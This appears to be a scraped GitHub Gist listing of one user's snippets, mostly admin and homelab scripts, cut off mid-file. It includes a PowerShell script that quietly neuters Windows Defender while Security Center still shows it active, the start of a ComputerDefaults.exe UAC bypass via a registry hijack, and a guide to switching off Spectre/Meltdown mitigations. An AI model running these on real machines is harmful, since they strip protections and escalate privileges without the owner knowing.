Skip to content

Instantly share code, notes, and snippets.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;
int main(int argc, char* argv[])
{
@natesubra
natesubra / help.md
Created September 1, 2022 14:36 — forked from Neo23x0/help.md
Offensive Research Guide to Help Defense Improve Detection

Whenever you research a certain vulnerability ask yourself these questions and please answer them for us

Logging

Does the exploited service write a log?
(check ls -lrt /var/log or lsof +D /var/log/ or lsof | grep servicename)

Does a system service write a log?
(e.g. check with tail -f /var/log/messages)

# https://github.com/jacobalberty/unifi-docker
# I use volumes because I don't care about this data 😝
volumes:
init:
log:
services:
mongo:
image: mongo:4
@natesubra
natesubra / Disable-Defender.ps1
Last active October 27, 2022 18:21
Disable Windows Defender (Nicely)
#Requires -RunAsAdministrator
# "Disables" Defender by adding exclusions and turning off advanced bits. Run this under an elevated powershell prompt
# Defender will be essentially gutted/disabled without messing with any files/underlying services. Windows Security center will still display that AV is working etc.
$driveletters = [char]'a'..[char]'z'
# Ref https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference
# Useful: https://github.com/dgoldman-msft/Get-MpPreferences/blob/main/Get-MpPreferences.ps1
$paramHash = @{
@natesubra
natesubra / get-scoopapps.ps1
Created March 17, 2022 17:36
Generate HTML Index of all Installed Scoop buckets
try {
Import-Module PSWriteHTML -ErrorAction Break
}
catch {
Install-Module -Name PSWriteHTML -Scope CurrentUser
}
$SCOOP_BUCKETS_DIR = (Get-ChildItem $ENV:SCOOP\Buckets)
$SCOOP_MANIFESTS = [System.Collections.Generic.List[object]]::new()
@natesubra
natesubra / output.txt
Created November 12, 2021 22:12 — forked from jpoehls/output.txt
PowerShell benchmarking function. Or, the Windows equivalent of Unix's `time` command.
PS> time { ping -n 1 google.com } -Samples 10 -Silent
..........
Avg: 62.1674ms
Min: 56.9945ms
Max: 87.9602ms
PS> time { ping -n 1 google.com } -Samples 10 -Silent -Long
..........
Avg: 00:00:00.0612480
Min: 00:00:00.0572167
@natesubra
natesubra / Get-SIDMappings.ps1
Created October 12, 2021 00:11
Get SID Mappings Powershell
$tableLayout = (
@{Expression = { ((New-Object System.Security.Principal.SecurityIdentifier($_.Value)).Translate([System.Security.Principal.NTAccount])).Value }; Label = "Name"; Width = 40 },
@{Expression = { $_.Value }; Label = "SID"; Width = 40 },
@{Expression = { $_.Type }; Label = "Type" }
)
$Claims = ([Security.Principal.WindowsIdentity]::GetCurrent()).Claims
$Claims | Format-Table $tableLayout
@natesubra
natesubra / UAC-Bypass_ComputerDefaults.ps1
Created October 11, 2021 23:52
ComputerDefaults.exe UAC Bypass Snippet
param (
[Parameter(Mandatory = $True)]
[ScriptBlock]$ScriptBlock
)
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -match 'S-1-5-32-544') {
Write-Host 'Already Elevated'
} else {
$RegPath = 'HKCU:\software\classes\ms-settings\shell\open\command'
New-Item $RegPath -Force
New-ItemProperty $RegPath -Name 'DelegateExecute' -Value $null -Force
@natesubra
natesubra / disable_mitigations.md
Last active September 22, 2021 19:27
ESXI Homelab Disable Spectre/Meltdown/SSBD

ESXI Mitigations Disable

I recommend this only be done on homelab/segmented hardware. This will make your host vulnerable to these exploits.

Depending on your CPU generation, you can regain 20-30% performance.

Spectre/Meltdown

Ref1

@natesubra
natesubra / docker-compose.yml
Last active August 16, 2021 16:07
elk stack - docker-compose
# First run:
# mkdir -p ./data/elasticsearch_data ./data/logstash_config && sudo chown -R 1000:1000 ./data
services:
# https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.14.0
container_name: elasticsearch
environment: